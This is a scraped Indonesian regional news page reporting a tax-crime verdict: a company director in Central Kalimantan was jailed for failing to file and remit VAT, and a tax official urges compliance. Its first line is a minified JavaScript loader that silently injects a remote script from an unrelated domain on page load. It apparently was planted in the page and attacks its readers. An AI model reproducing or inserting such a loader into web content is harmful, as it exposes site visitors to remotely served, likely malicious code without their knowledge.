(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Tengah

Tak Setor Pajak, Direktur Perusahaan di Kalteng Divonis Penjara 2 Tahun


KANALKALIMNTAN.COM, PANGKALAN BUN – Kantor Wilayah Direktorat Jenderal Pajak Kalimantan Selatan dan Tengah (Kanwil DJP Kalselteng) mengungkap kasus tindak pidana perpajakan.
Seorang wajib pajak di Kalimantan Tengah menerima vonis majelis hakim Pengadilan Negeri Pangkalan Bun, Kabupaten Kotawaringin Barat, Kalteng, atas tindak pidana perpajakan yang dilakukannya.
P, Direktur CV DK berdasarkan putusan Nomor 75/Pid.Sus/2023/PN Pbu menyatakan terbukti secara sah dan meyakinkan bersalah melakukan tindak pidana dengan sengaja tidak menyampaikan Surat Pemberitahuan (SPT) Pajak Pertambahan Nilai (PPN) dan tidak menyetorkan pajak yang telah dipotong atau dipungut sehingga menimbulkan kerugian pada pendapatan negara secara berlanjut.

Baca juga: Jawab Masukan tentang Air Bersih, Bupati Banjar Ingin Pembangunan Booster Pump Lancar

Direktur CV DK divonis majelis hakim pada Kamis (11/5/2023) lalu, dengan pidana penjara selama 2 tahun 3 bulan serta denda sejumlah Rp634.076.635.
Kemudian pada putusan tersebut jika terdakwa tidak membayar denda setelah putusan inkrah, maka harta benda akan disita dan dilelang oleh jaksa. Dalam hal tidak memiliki harta benda yang mencukupi maka diganti dengan 6 bulan penjara.
Kepala Kanwil DJP Kalselteng Tarmizi mengatakan, vonis hukuman pidana tersebut diharapkannya dapat memberi efek jera kepada para pelaku tindak pidana perpajakan.

Baca juga: Tilep Dana Desa, Mantan Kades di HSU Divonis 4 Tahun 10 Bulan Penjara

Dapat meningkatkan kepedulian dan kepatuhan wajib pajak dalam menjalankan ketentuan peraturan perpajakan.
Tarmizi menjelaskan, Kanwil DJP Kalselteng selama ini telah melakukan upaya persuasif seperti memberikan edukasi secara masif dan rutin kepada wajib pajak.
“Akan tetapi usaha tersebut tidak diindahkan oleh wajib pajak sehingga terpaksa dilakukan langkah penegakan hukum pidana tersebut,” ujarnya.

Baca juga: Ini Dua Putra Putri Terbaik Kalsel Anggota Paskibraka di Istana Negara

Tarmizi mengimbau seluruh wajib pajak diwilayah Kalselteng untuk menjalankan pemenuhan kewajiban perpajakan (menghitung, menyetor, dan melapor pajak yang tertuang) dengan benar, lengkap, dan jelas.
Kepatuhan yang tinggi dari wajib pajak dalam membayar pajak sangat menunjang penerimaan negara untuk pembangunan Indonesia. Sebab, pajak sebagai sumber penerimaan negara dikatakan memiliki kontribusi lebih dari 70% pada Anggaran dan Pendapatan Negara (APBN) setiap tahunnya.
“Untuk itu mari kita bersama-sama memajukan Indonesia dengan memenuhi kewajiban perpajakan, karena pajak milik kita bersama,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

4 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

5 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

5 jam ago

Wagub Edy Pratowo Maju Pilkada Kalteng, Siap Dipasang Posisi Apapun

KANALKALIMANTAN.COM, PALANGKARAYA - Wakil Gubernur (Wagub) Kalimantan Tengah (Kalteng), Edy Pratowo, mengumumkan keputusannya untuk mendaftarkan… Read More

5 jam ago

Target Juara Umum Popda Kalsel 2024, Aditya Janji Beri Bonus Pribadi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin melepas 109 atlet untuk berlaga dalam… Read More

6 jam ago

This website uses cookies.